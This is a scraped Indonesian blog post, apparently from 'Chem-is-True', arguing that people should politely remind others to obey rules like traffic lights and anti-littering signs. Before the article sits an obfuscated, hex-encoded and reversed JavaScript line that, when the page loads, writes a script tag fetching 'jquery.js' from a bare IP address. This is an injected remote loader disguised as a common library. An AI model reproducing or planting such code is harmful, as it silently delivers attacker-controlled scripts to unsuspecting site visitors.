var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Beranikah Kita Mengingatkan? – Chem-is-True
Views:
3

Suatu hari di pemberhentian lampu merah saat perjalanan menuju kampus, saya menjumpai sebuah pemandangan yang menarik hati saya. Seorang pemuda pengendara sepeda motor menegur seorang perempuan yang juga menaiki sepeda motor. “Mbak, kalau berhenti di belakang garis marka ya” tegurnya. Seketika perempuan yang menaiki sepeda motor itu memundurkan posisi motornya, “Eh, iya mas” katanya sambil tersenyum malu. Lalu merekapun menjadi akrab. Akrab? Lalu mereka jatuh cinta? Ah, bukan. Sayangnya kali ini saya tidak akan menulis cerita cinta, melainkan artikel mengenai keberanian mengingatkan orang lain dalam hal menaati peraturan.

Coba kita bayangkan, betapa indahnya hidup kita jika semua manusia yang ada di bumi ini, khususnya di negeri kita tercinta ini menaati peraturan. Ya, mungkin jika itu terjadi, kita tidak akan mengenal sesuatu yang bernama banjir, kecelakaan lalu lintas dan yang sejenisnya. Asal kita ketahui, dua hal tersebut sebagian besar disebabkan karena diri kita sendiri. Memang, banjir bisa juga disebabkan karena ‘takdir’ ataupun ‘kehendak alam’, namun sebagian besar penyebab banjir adalah manusia sendiri. Sudah menjadi rahasia umum bahwa membuang sampah di sungai bisa menyebabkan banjir, tetapi mengapa masih banyak manusia yang melakukan itu? Padahal di pagar sekitar sungai sudah terdapat tulisan ‘Dilarang Membuang Sampah Di sini’, akan tetapi mengapa mereka seakan buta terhadap rambu-rambu tersebut?

Pada jam-jam berangkat kerja, jalan raya menjadi ajang kebut-kebutan. Banyak pengendara kendaraan yang melajukan kendaraannya secepat mungkin agar cepat sampai di tempat tujuannya. Akibatnya, tak jarang juga terjadi pelanggaran lampu lalu lintas. Lampu lalu lintas yang menyala merah atau hijau seakan mempunyai satu warna yang sama, yaitu hijau. Lampu berwarna kuning tak berarti apa-apa. Satu-satunya alasan tidak melanggar peraturan adalah takut kepada aparat keamanan.

Cobalah tidak melihat dari sisi praktisnya. Memang membuang sampah di sungai terasa lebih mudah tanpa harus membayar biaya tukang sampah. Memang melanggar lampu merah dan mengebut di jalan mempersingkat waktu perjalanan. Namun bagaimana jika sampah-sampah itu menggunung dan menyebabkan banjir? Bagaimana jika ketidakpatuhan dalam berlalu lintas itu menyebabkan kecelakaan? Tentunya kita tidak berharap hal tersebut terjadi, bukan? Bagaimanapun semua perbuatan kita akan bertimbal balik kepada diri kita sendiri, kita yang berbuat maka kita jugalah yang menanggung akibatnya.

Masalah yang sering muncul adalah, kita sudah berusaha mematuhi peraturan, namun di sisi lain kita melihat ada orang yang sedang melanggar peraturan. Apakah yang kita lakukan? Apakah kita akan mengingatkan orang tersebut atau hanya bergeming mengacuhkannya? Toh kita sudah menaati peraturan. Hal ini yang biasanya menjadi dilema, mau mengingatkan malah orang itu marah-marah, mau diam saja rasanya kita yang jadi marah. Bagaimana penyelesaiannya?

Solusinya, cobalah untuk berani mengingatkan orang tersebut. Ingatkanlah orang tersebut dengan bahasa yang santun, niscaya orang yang kita ingatkan akan menerima kesalahannya, seperti pada contoh di atas. Jangan takut untuk mengingatkan, toh kita tidak melakukan kesalahan dengan mengingatkannya. Pertanyaannya adalah, sudah cukupkah keberanian kita untuk mengingatkan orang lain?

Selamat mengingatkan!

Facebook Comments